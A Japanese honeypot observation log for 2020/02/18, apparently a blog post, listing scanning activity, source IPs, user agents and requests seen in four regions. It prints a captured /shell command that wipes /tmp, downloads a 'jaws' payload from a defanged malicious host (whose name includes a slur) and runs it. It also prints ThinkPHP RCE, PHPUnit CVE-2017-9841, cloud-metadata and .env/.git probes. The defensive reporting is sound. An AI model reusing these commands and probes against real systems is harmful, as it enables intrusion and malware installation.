2020/02/18 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2020/02/18分です。

特徴

Location：JP

クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
zgrabによるスキャン行為
Apache Tomcatへのスキャン行為
123[.]125[.]114[.]144に関する不正通信
18[.]179[.]20[.]5に関する不正通信
を確認しました。

Location：US

zgrabによるスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

Location：UK

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Tomcatへのスキャン行為
Apache Solrへのスキャン行為
zgrabによるスキャン行為
5[.]188[.]210[.]101に関する不正通信
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

Location：SG

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
phpMyAdminへのスキャン行為
zgrabによるスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：87 (前日比：+47)
US：総アクセス数：9 (前日比：-4)
UK：総アクセス数：14 (前日比：+2)
SG：総アクセス数：18 (前日比：+11)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location：JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	106.12.69.27	China
10	111.206.59.134	China
9	111.206.59.142	China
1	116.252.0.239	China
1	118.116.15.68	China
1	119.39.47.213	China
1	120.132.3.65	China
1	121.57.13.72	China
1	123.163.114.91	China
1	124.235.138.5	China
1	132.232.25.246	China
1	162.243.135.209	United States
2	172.105.11.111	United States
1	175.184.164.143	China
1	175.184.164.65	China
3	178.128.229.163	Canada
1	182.138.137.130	China
1	182.245.43.30	China
1	204.93.154.215	United States
1	221.0.23.200	China
1	222.94.140.95	China
1	37.49.230.69	Netherlands
34	44.225.84.206	United States
9	51.158.118.213	France
1	60.191.66.222	China
1	61.219.11.153	Taiwan

UserAgent一覧

件数	UserAgent
41	-
1	\
14	AWS Security Scanner
9	Go-http-client/1.1
1	joxypoxy/7.2.6
1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)
1	Mozilla/5.01682558 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/537.36(KHTML, like Gecko) Chrome/40.0.2214.89 Safari/537.36
1	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
6	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
1	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36
1	Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330
1	Mozilla/5.0 zgrab/0.x
4	PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
1	python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-042stab141.3

リクエスト内容一覧

件数	Method	Request	Protocol
1	<
6	-
10	CONNECT	18[.]179[.]20[.]5:80	HTTP/1.0
1	CONNECT	cn[.]bing[.]com:443	HTTP/1.1
1	CONNECT	www[.]baidu[.]com:443	HTTP/1.1
1	CONNECT	www[.]ipip[.]net:443	HTTP/1.1
1	CONNECT	www[.]voanews[.]com:443	HTTP/1.1
1	EHLO
1	GET	/?CAVIT	HTTP/1.1
3	GET	/.env	HTTP/1.1
3	GET	/.git/config	HTTP/1.1
1	GET	/hazelcast/rest/cluster	HTTP/1.0
2	GET	http://169[.]254[.]169[.]254/	HTTP/1.1
2	GET	http://169[.]254[.]169[.]254/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	http://boxun[.]com/	HTTP/1.1
2	GET	http://example[.]com/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	http://www[.]123cha[.]com/	HTTP/1.1
1	GET	http://www[.]epochtimes[.]com/	HTTP/1.1
1	GET	http://www[.]minghui[.]org/	HTTP/1.1
1	GET	http://www[.]qq[.]com/404/search_children.js	HTTP/1.1
1	GET	http://www[.]rfa[.]org/english/	HTTP/1.1
1	GET	http://www[.]wujieliulan[.]com/	HTTP/1.1
4	GET	/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	//login_sid.lua	HTTP/1.1
2	GET	/manager/html	HTTP/1.1
1	GET	/Public/home/appjs/Index.js	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/scripts/app.js	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	GET	/umbraco/	HTTP/1.1
3	GET	/v2/_catalog	HTTP/1.1
2	HEAD	/	HTTP/1.1
1	HEAD	http://123[.]125[.]114[.]144/	HTTP/1.1
1		< NTP/1.2 >\n
1	OPTIONS	/	RTSP/1.0
1	POST	/html/SetSmarcardSettings.php	HTTP/1.1
1	stats
1	#ST\n
1	TSH
1	\x03
1	\x05\x04
1	\x124
10	\x16\x03\x01
1	\x16\x03\x01\x02
1	\x80\x9e\x01\x03\x01
1		<?xml version=\"1.0\" ?>nmap.probe\n

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	1.32.29.149	Malaysia
1	141.98.11.8	Republic of Lithuania
1	162.243.135.130	United States
1	185.31.163.237	Russia
1	192.241.217.164	United States
1	213.128.88.99	Turkey
1	61.227.233.179	Taiwan
2	80.82.68.16	Netherlands

UserAgent一覧

件数	UserAgent
3	-
1	Hello, world
1	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
2	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
2	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1	{D79E94C5-70F0
1	GET	/favicon.ico	HTTP/1.1
2	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	POST	/images.php	HTTP/1.1
1	\x03

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	141.98.11.8	Republic of Lithuania
1	192.241.213.142	United States
1	192.241.227.88	United States
2	207.238.80.74	United States
1	36.228.218.41	Taiwan
1	36.233.204.192	Taiwan
1	45.152.6.58	Netherlands
5	5.101.0.209	Russia
1	5.188.210.101	Russia

UserAgent一覧

件数	UserAgent
4	-
2	Hello, world
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	http://5[.]188[.]210[.]101/echo.php	HTTP/1.1
1	GET	http://Qualys.null/	HTTP/1.0
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
2	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	HEAD	/robots.txt	HTTP/1.0
1	HEAD	/selfupdate/wuident.cab	HTTP/1.0
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	\x03

Location：SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
6	138.197.131.62	United States
2	138.99.216.171	Belize
1	141.98.11.8	Republic of Lithuania
1	174.138.183.59	United States
1	192.241.210.169	United States
1	192.241.224.245	United States
1	37.49.230.69	Netherlands
1	5.101.0.209	Russia
1	61.219.11.153	Taiwan
3	69.164.202.142	United States

UserAgent一覧

件数	UserAgent
9	-
1	Hello, world
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
2	Mozilla/5.0 zgrab/0.x
1	python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-042stab141.3

リクエスト内容一覧

件数	Method	Request	Protocol
1	-
1	GET	/favicon.ico	HTTP/1.1
1	GET	//login_sid.lua	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/muieblackcat	HTTP/1.1
1	GET	//myadmin/scripts/setup.php	HTTP/1.1
1	GET	//MyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//phpmyadmin/scripts/setup.php	HTTP/1.1
1	GET	//phpMyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//pma/scripts/setup.php	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/scripts/app.js	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/umbraco/	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	\x03
1	\x16\x03\x01\x02